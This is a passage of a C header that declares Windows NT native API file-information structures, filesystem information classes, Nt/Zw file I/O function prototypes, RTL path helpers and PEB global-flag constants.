ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; typedef struct _FILE_ID_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { LARGE_INTEGER ValidDataLength; } FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; // // Don't queue an entry to an associated completion port if returning success // synchronously. // #define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS 0x1 // // Don't set the file handle event on IO completion. // #define FILE_SKIP_SET_EVENT_ON_HANDLE 0x2 // // Don't set user supplied event on successful fast-path IO completion. // #define FILE_SKIP_SET_USER_EVENT_ON_FAST_IO 0x4 typedef struct _FILE_IO_COMPLETION_NOTIFICATION_INFORMATION { ULONG Flags; } FILE_IO_COMPLETION_NOTIFICATION_INFORMATION, *PFILE_IO_COMPLETION_NOTIFICATION_INFORMATION; typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION { ULONG NumberOfProcessIdsInList; ULONG_PTR ProcessIdList[1]; } FILE_PROCESS_IDS_USING_FILE_INFORMATION, *PFILE_PROCESS_IDS_USING_FILE_INFORMATION; typedef struct _FILE_IOSTATUSBLOCK_RANGE_INFORMATION { PUCHAR IoStatusBlockRange; ULONG Length; } FILE_IOSTATUSBLOCK_RANGE_INFORMATION, *PFILE_IOSTATUSBLOCK_RANGE_INFORMATION; typedef enum _IO_PRIORITY_HINT { IoPriorityVeryLow = 0, // Winfs promotion, defragging, content indexing and other background I/Os IoPriorityLow, // Prefetching for applications. IoPriorityNormal, // Normal I/Os IoPriorityHigh, // Used by filesystems for checkpoint I/O IoPriorityCritical, // Used by memory manager. Not available for applications. MaxIoPriorityTypes } IO_PRIORITY_HINT; typedef struct _FILE_IO_PRIORITY_HINT_INFORMATION { IO_PRIORITY_HINT PriorityHint; } FILE_IO_PRIORITY_HINT_INFORMATION, *PFILE_IO_PRIORITY_HINT_INFORMATION; // // Support to reserve bandwidth for a file handle. // typedef struct _FILE_SFIO_RESERVE_INFORMATION { ULONG RequestsPerPeriod; ULONG Period; BOOLEAN RetryFailures; BOOLEAN Discardable; ULONG RequestSize; ULONG NumOutstandingRequests; } FILE_SFIO_RESERVE_INFORMATION, *PFILE_SFIO_RESERVE_INFORMATION; // // Support to query bandwidth properties of a volume. // typedef struct _FILE_SFIO_VOLUME_INFORMATION { ULONG MaximumRequestsPerPeriod; ULONG MinimumPeriod; ULONG MinimumTransferSize; } FILE_SFIO_VOLUME_INFORMATION, *PFILE_SFIO_VOLUME_INFORMATION; typedef struct _FILE_LINK_ENTRY_INFORMATION { ULONG NextEntryOffset; LONGLONG ParentFileId; ULONG FileNameLength; WCHAR FileName[1]; } FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION; typedef struct _FILE_LINKS_INFORMATION { ULONG BytesNeeded; ULONG EntriesReturned; FILE_LINK_ENTRY_INFORMATION Entry; } FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION; #ifndef WINAPI_FAMILY_PC_APP // In newer SDKs only typedef struct _FILE_ID_128 { BYTE Identifier[16]; } FILE_ID_128, *PFILE_ID_128; #endif typedef struct _FILE_LINK_ENTRY_FULL_ID_INFORMATION { ULONG NextEntryOffset; FILE_ID_128 ParentFileId; ULONG FileNameLength; WCHAR FileName[1]; } FILE_LINK_ENTRY_FULL_ID_INFORMATION, *PFILE_LINK_ENTRY_FULL_ID_INFORMATION; typedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; LARGE_INTEGER FileId; GUID LockingTransactionId; ULONG TxInfoFlags; WCHAR FileName[1]; } FILE_ID_GLOBAL_TX_DIR_INFORMATION, *PFILE_ID_GLOBAL_TX_DIR_INFORMATION; typedef struct _FILE_IS_REMOTE_DEVICE_INFORMATION { BOOLEAN IsRemote; } FILE_IS_REMOTE_DEVICE_INFORMATION, *PFILE_IS_REMOTE_DEVICE_INFORMATION; typedef struct _FILE_NUMA_NODE_INFORMATION { USHORT NodeNumber; } FILE_NUMA_NODE_INFORMATION, *PFILE_NUMA_NODE_INFORMATION; typedef struct _FILE_STANDARD_LINK_INFORMATION { ULONG NumberOfAccessibleLinks; ULONG TotalNumberOfLinks; BOOLEAN DeletePending; BOOLEAN Directory; } FILE_STANDARD_LINK_INFORMATION, *PFILE_STANDARD_LINK_INFORMATION; typedef struct _FILE_VOLUME_NAME_INFORMATION { ULONG DeviceNameLength; WCHAR DeviceName[1]; } FILE_VOLUME_NAME_INFORMATION, *PFILE_VOLUME_NAME_INFORMATION; typedef struct _FILE_ID_INFORMATION { ULONGLONG VolumeSerialNumber; FILE_ID_128 FileId; } FILE_ID_INFORMATION, *PFILE_ID_INFORMATION; typedef struct _FILE_ID_EXTD_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; ULONG ReparsePointTag; FILE_ID_128 FileId; WCHAR FileName[1]; } FILE_ID_EXTD_DIR_INFORMATION, *PFILE_ID_EXTD_DIR_INFORMATION; typedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; ULONG ReparsePointTag; FILE_ID_128 FileId; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_ID_EXTD_BOTH_DIR_INFORMATION, *PFILE_ID_EXTD_BOTH_DIR_INFORMATION; #define FILE_DISPOSITION_DO_NOT_DELETE 0x00000000 #define FILE_DISPOSITION_DELETE 0x00000001 #define FILE_DISPOSITION_POSIX_SEMANTICS 0x00000002 #define FILE_DISPOSITION_FORCE_IMAGE_SECTION_CHECK 0x00000004 #define FILE_DISPOSITION_ON_CLOSE 0x00000008 typedef struct _FILE_DISPOSITION_INFORMATION_EX { ULONG Flags; } FILE_DISPOSITION_INFORMATION_EX, *PFILE_DISPOSITION_INFORMATION_EX; #ifndef FILE_STORAGE_TIER_FLAG_SMR typedef enum _FILE_STORAGE_TIER_CLASS { FileStorageTierClassUnspecified = 0, FileStorageTierClassCapacity, FileStorageTierClassPerformance, FileStorageTierClassMax } FILE_STORAGE_TIER_CLASS, *PFILE_STORAGE_TIER_CLASS; typedef struct _FILE_DESIRED_STORAGE_CLASS_INFORMATION { FILE_STORAGE_TIER_CLASS Class; // Class type of the tier ULONG Flags; // Flags } FILE_DESIRED_STORAGE_CLASS_INFORMATION, *PFILE_DESIRED_STORAGE_CLASS_INFORMATION; #endif typedef struct _FILE_STAT_INFORMATION { LARGE_INTEGER FileId; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG FileAttributes; ULONG ReparseTag; ULONG NumberOfLinks; ULONG EffectiveAccess; } FILE_STAT_INFORMATION, *PFILE_STAT_INFORMATION; typedef struct _FILE_MEMORY_PARTITION_INFORMATION { ULONG_PTR OwnerPartitionHandle; union { struct { UCHAR NoCrossPartitionAccess; UCHAR Spare[3]; } DUMMYSTRUCTNAME; ULONG AllFlags; } Flags; } FILE_MEMORY_PARTITION_INFORMATION, *PFILE_MEMORY_PARTITION_INFORMATION; typedef struct _FILE_STAT_LX_INFORMATION { LARGE_INTEGER FileId; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG FileAttributes; ULONG ReparseTag; ULONG NumberOfLinks; ACCESS_MASK EffectiveAccess; ULONG LxFlags; ULONG LxUid; ULONG LxGid; ULONG LxMode; ULONG LxDeviceIdMajor; ULONG LxDeviceIdMinor; } FILE_STAT_LX_INFORMATION, *PFILE_STAT_LX_INFORMATION; #define FILE_CS_FLAG_CASE_SENSITIVE_DIR 0x00000001 typedef struct _FILE_CASE_SENSITIVE_INFORMATION { ULONG Flags; } FILE_CASE_SENSITIVE_INFORMATION, *PFILE_CASE_SENSITIVE_INFORMATION; typedef enum _FSINFOCLASS { FileFsVolumeInformation = 1, FileFsLabelInformation, // 2 FileFsSizeInformation, // 3 FileFsDeviceInformation, // 4 FileFsAttributeInformation, // 5 FileFsControlInformation, // 6 FileFsFullSizeInformation, // 7 FileFsObjectIdInformation, // 8 FileFsDriverPathInformation, // 9 FileFsVolumeFlagsInformation,// 10 FileFsSectorSizeInformation, // 11 FileFsDataCopyInformation, // 12 FileFsMaximumInformation } FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; typedef struct _FILE_FS_VOLUME_INFORMATION { LARGE_INTEGER VolumeCreationTime; ULONG VolumeSerialNumber; ULONG VolumeLabelLength; BOOLEAN SupportsObjects; WCHAR VolumeLabel[1]; } FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION; typedef struct _FILE_FS_LABEL_INFORMATION { ULONG VolumeLabelLength; WCHAR VolumeLabel[1]; } FILE_FS_LABEL_INFORMATION, *PFILE_FS_LABEL_INFORMATION; typedef struct _FILE_FS_SIZE_INFORMATION { LARGE_INTEGER TotalAllocationUnits; LARGE_INTEGER AvailableAllocationUnits; ULONG SectorsPerAllocationUnit; ULONG BytesPerSector; } FILE_FS_SIZE_INFORMATION, *PFILE_FS_SIZE_INFORMATION; typedef struct _FILE_FS_DEVICE_INFORMATION { DEVICE_TYPE DeviceType; ULONG Characteristics; } FILE_FS_DEVICE_INFORMATION, *PFILE_FS_DEVICE_INFORMATION; typedef struct _FILE_FS_ATTRIBUTE_INFORMATION { ULONG FileSystemAttributes; LONG MaximumComponentNameLength; ULONG FileSystemNameLength; WCHAR FileSystemName[1]; } FILE_FS_ATTRIBUTE_INFORMATION, *PFILE_FS_ATTRIBUTE_INFORMATION; typedef struct _FILE_FS_CONTROL_INFORMATION { LARGE_INTEGER FreeSpaceStartFiltering; LARGE_INTEGER FreeSpaceThreshold; LARGE_INTEGER FreeSpaceStopFiltering; LARGE_INTEGER DefaultQuotaThreshold; LARGE_INTEGER DefaultQuotaLimit; ULONG FileSystemControlFlags; } FILE_FS_CONTROL_INFORMATION, *PFILE_FS_CONTROL_INFORMATION; typedef struct _FILE_FS_FULL_SIZE_INFORMATION { LARGE_INTEGER TotalAllocationUnits; LARGE_INTEGER CallerAvailableAllocationUnits; LARGE_INTEGER ActualAvailableAllocationUnits; ULONG SectorsPerAllocationUnit; ULONG BytesPerSector; } FILE_FS_FULL_SIZE_INFORMATION, *PFILE_FS_FULL_SIZE_INFORMATION; typedef struct _FILE_FS_OBJECTID_INFORMATION { UCHAR ObjectId[16]; UCHAR ExtendedInfo[48]; } FILE_FS_OBJECTID_INFORMATION, *PFILE_FS_OBJECTID_INFORMATION; typedef struct _FILE_FS_DRIVER_PATH_INFORMATION { BOOLEAN DriverInPath; ULONG DriverNameLength; WCHAR DriverName[1]; } FILE_FS_DRIVER_PATH_INFORMATION, *PFILE_FS_DRIVER_PATH_INFORMATION; typedef struct _FILE_FS_VOLUME_FLAGS_INFORMATION { ULONG Flags; } FILE_FS_VOLUME_FLAGS_INFORMATION, *PFILE_FS_VOLUME_FLAGS_INFORMATION; typedef struct _FILE_FS_SECTOR_SIZE_INFORMATION { ULONG LogicalBytesPerSector; ULONG PhysicalBytesPerSectorForAtomicity; ULONG PhysicalBytesPerSectorForPerformance; ULONG FileSystemEffectivePhysicalBytesPerSectorForAtomicity; ULONG Flags; ULONG ByteOffsetForSectorAlignment; ULONG ByteOffsetForPartitionAlignment; } FILE_FS_SECTOR_SIZE_INFORMATION, *PFILE_FS_SECTOR_SIZE_INFORMATION; NTSYSAPI NTSTATUS NTAPI NtCreateFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN PVOID EaBuffer, IN ULONG EaLength); NTSYSAPI NTSTATUS NTAPI ZwCreateFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN PVOID EaBuffer, IN ULONG EaLength); NTSYSAPI NTSTATUS NTAPI NtOpenFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions ); NTSYSAPI NTSTATUS NTAPI ZwOpenFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions ); NTSYSAPI NTSTATUS NTAPI NtQueryAttributesFile( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_BASIC_INFORMATION FileInformation ); NTSYSAPI NTSTATUS NTAPI ZwQueryAttributesFile( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_BASIC_INFORMATION FileInformation ); NTSYSAPI NTSTATUS NTAPI NtQueryInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSYSAPI NTSTATUS NTAPI ZwQueryInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSYSAPI NTSTATUS NTAPI NtQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan ); NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan ); NTSYSAPI NTSTATUS NTAPI NtQueryVolumeInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSYSAPI NTSTATUS NTAPI ZwQueryVolumeInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSYSAPI NTSTATUS NTAPI NtSetInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSYSAPI NTSTATUS NTAPI ZwSetInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSYSAPI NTSTATUS NTAPI NtSetVolumeInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSYSAPI NTSTATUS NTAPI ZwSetVolumeInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSYSAPI NTSTATUS NTAPI NtQueryEaFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN PVOID EaList OPTIONAL, IN ULONG EaListLength, IN PULONG EaIndex OPTIONAL, IN BOOLEAN RestartScan ); NTSYSAPI NTSTATUS NTAPI ZwQueryEaFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN PVOID EaList OPTIONAL, IN ULONG EaListLength, IN PULONG EaIndex OPTIONAL, IN BOOLEAN RestartScan ); NTSYSAPI NTSTATUS NTAPI NtSetEaFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSYSAPI NTSTATUS NTAPI ZwSetEaFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSYSAPI NTSTATUS NTAPI NtReadFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtReadFileScatter( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwReadFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtWriteFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwWriteFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtDeleteFile( IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI ZwDeleteFile( IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI NtFlushBuffersFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSYSAPI NTSTATUS NTAPI ZwFlushBuffersFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSYSAPI NTSTATUS NTAPI NtDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer, IN ULONG InputBufferLength, IN PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer, IN ULONG InputBufferLength, IN PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSYSAPI NTSTATUS NTAPI NtFsControlFile( IN HANDLE FileHandle, IN HANDLE Event, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, IN PVOID InputBuffer, IN ULONG InputBufferLength, IN PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSYSAPI NTSTATUS NTAPI ZwFsControlFile( IN HANDLE FileHandle, IN HANDLE Event, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, IN PVOID InputBuffer, IN ULONG InputBufferLength, IN PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSYSAPI NTSTATUS NTAPI NtCancelIoFile( IN HANDLE Filehandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSYSAPI NTSTATUS NTAPI ZwCancelIoFile( IN HANDLE Filehandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSYSAPI NTSTATUS NTAPI NtLockFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key, IN BOOLEAN FailImmediately, IN BOOLEAN ExclusiveLock ); NTSYSAPI NTSTATUS NTAPI ZwLockFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key, IN BOOLEAN FailImmediately, IN BOOLEAN ExclusiveLock ); NTSYSAPI NTSTATUS NTAPI NtUnlockFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key ); NTSYSAPI NTSTATUS NTAPI ZwUnlockFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key ); //----------------------------------------------------------------------------- // DOS <-> NT path functions // OUT Disposition values for RtlNtPathNameToDosPathName #define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_AMBIGUOUS (0x00000001) #define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_UNC (0x00000002) #define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_DRIVE (0x00000003) #define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_ALREADY_DOS (0x00000004) typedef enum _RTL_PATH_TYPE { RtlPathTypeUnknown, // 0 RtlPathTypeUncAbsolute, // 1 RtlPathTypeDriveAbsolute, // 2 RtlPathTypeDriveRelative, // 3 RtlPathTypeRooted, // 4 RtlPathTypeRelative, // 5 RtlPathTypeLocalDevice, // 6 RtlPathTypeRootLocalDevice // 7 } RTL_PATH_TYPE, *PRTL_PATH_TYPE; // CURDIR structure typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; NTSYSAPI ULONG NTAPI RtlIsDosDeviceName_U( IN PWSTR DosFileName ); NTSYSAPI BOOLEAN NTAPI RtlDosPathNameToNtPathName_U ( IN PCWSTR DosPathName, OUT PUNICODE_STRING NtPathName, OUT PWSTR * NtFileNamePart OPTIONAL, OUT PCURDIR DirectoryInfo OPTIONAL ); NTSYSAPI ULONG NTAPI RtlGetFullPathName_U( PCWSTR lpFileName, ULONG nBufferLength, PWSTR lpBuffer, PWSTR *lpFilePart OPTIONAL ); NTSYSAPI BOOLEAN NTAPI RtlDoesFileExists_U( IN PCWSTR FileName ); NTSYSAPI NTSTATUS NTAPI RtlNtPathNameToDosPathName( // Available in Windows XP or newer IN ULONG Flags, IN OUT PRTL_UNICODE_STRING_BUFFER Path, OUT PULONG Disposition OPTIONAL, IN OUT PWSTR * FilePart OPTIONAL ); //----------------------------------------------------------------------------- // Process functions #define GDI_HANDLE_BUFFER_SIZE 60 // RTL_USER_PROCESS_PARAMETERS::Flags #define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 #define RTL_USER_PROC_PROFILE_USER 0x00000002 #define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 #define RTL_USER_PROC_PROFILE_SERVER 0x00000008 #define RTL_USER_PROC_RESERVE_1MB 0x00000020 #define RTL_USER_PROC_RESERVE_16MB 0x00000040 #define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 #define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 #define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 #define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 #define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 #define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 #define RTL_USER_PROC_SECURE_PROCESS 0x80000000 // PEB::NtGlobalFlag #define FLG_STOP_ON_EXCEPTION 0x00000001 // (soe) Stop on exception #define FLG_SHOW_LDR_SNAPS 0x00000002 // (sls) Show loader snaps #define FLG_DEBUG_INITIAL_COMMAND 0x00000004 // (dic) Debug initial command #define FLG_STOP_ON_HUNG_GUI 0x00000008 // (shg) Stop on hung GUI #define FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010 // (htc) Enable heap tail checking #define FLG_HEAP_ENABLE_FREE_CHECK 0x00000020 // (hfc) Enable heap free checking #define FLG_HEAP_VALIDATE_PARAMETERS 0x00000040 // (hpc) Enable heap parameter checking #define FLG_HEAP_VALIDATE_ALL 0x00000080 // (hvc) Enable heap validation on call #define FLG_POOL_ENABLE_TAIL_CHECK 0x00000100 // (vrf) Enable application verifier #define FLG_MONITOR_SILENT_PROCESS_EXIT 0x00000200 // ( ) Enable silent process exit monitoring #define FLG_POOL_ENABLE_TAGGING 0x00000400 // (ptg) Enable pool tagging (Windows 2000 and Windows XP only) #define FLG_HEAP_ENABLE_TAGGING 0x00000800 // (htg) Enable heap tagging #define FLG_USER_STACK_TRACE_DB 0x00001000 // (ust) Create user mode stack trace database #define FLG_KERNEL_STACK_TRACE_DB 0x00002000 // (kst) Create kernel mode stack trace database #define FLG_MAINTAIN_OBJECT_TYPELIST 0x00004000 // (otl) Maintain a list of objects for each type #define FLG_HEAP_ENABLE_TAG_BY_DLL 0x00008000 // (htd) Enable heap tagging by DLL #define FLG_DISABLE_STACK_EXTENSION 0x00010000 // (dse) Disable stack extension #define FLG_ENABLE_CSRDEBUG 0x00020000 // (d32) Enable debugging of Win32 subsystem #define FLG_ENABLE_KDEBUG_SYMBOL_LOAD 0x00040000 // (ksl) Enable loading of kernel debugger symbols #define FLG_DISABLE_PAGE_KERNEL_STACKS 0x00080000 // (dps) Disable paging of kernel stacks #define FLG_ENABLE_SYSTEM_CRIT_BREAKS 0x00100000 // (scb) Enable system critical breaks #define FLG_HEAP_DISABLE_COALESCING 0x00200000 // (dhc) Disable heap coalesce on free #define FLG_ENABLE_CLOSE_EXCEPTIONS 0x00400000 // (ece) Enable close exception #define FLG_ENABLE_EXCEPTION_LOGGING 0x00800000 // (eel) Enable exception logging #define FLG_ENABLE_HANDLE_TYPE_TAGGING 0x01000000 // (eot) Enable object handle type tagging #define FLG_HEAP_PAGE_ALLOCS 0x02000000 // (hpa) Enable page heap #define FLG_DEBUG_INITIAL_COMMAND_EX 0x04000000 // (dwl) Debug WinLogon #define FLG_DISABLE_DBGPRINT 0x08000000 // (ddp) Buffer DbgPrint Output #define FLG_CRITSEC_EVENT_CREATION 0x10000000 // (cse) Early critical section event creation #define FLG_STOP_ON_UNHANDLED_EXCEPTION 0x20000000 // 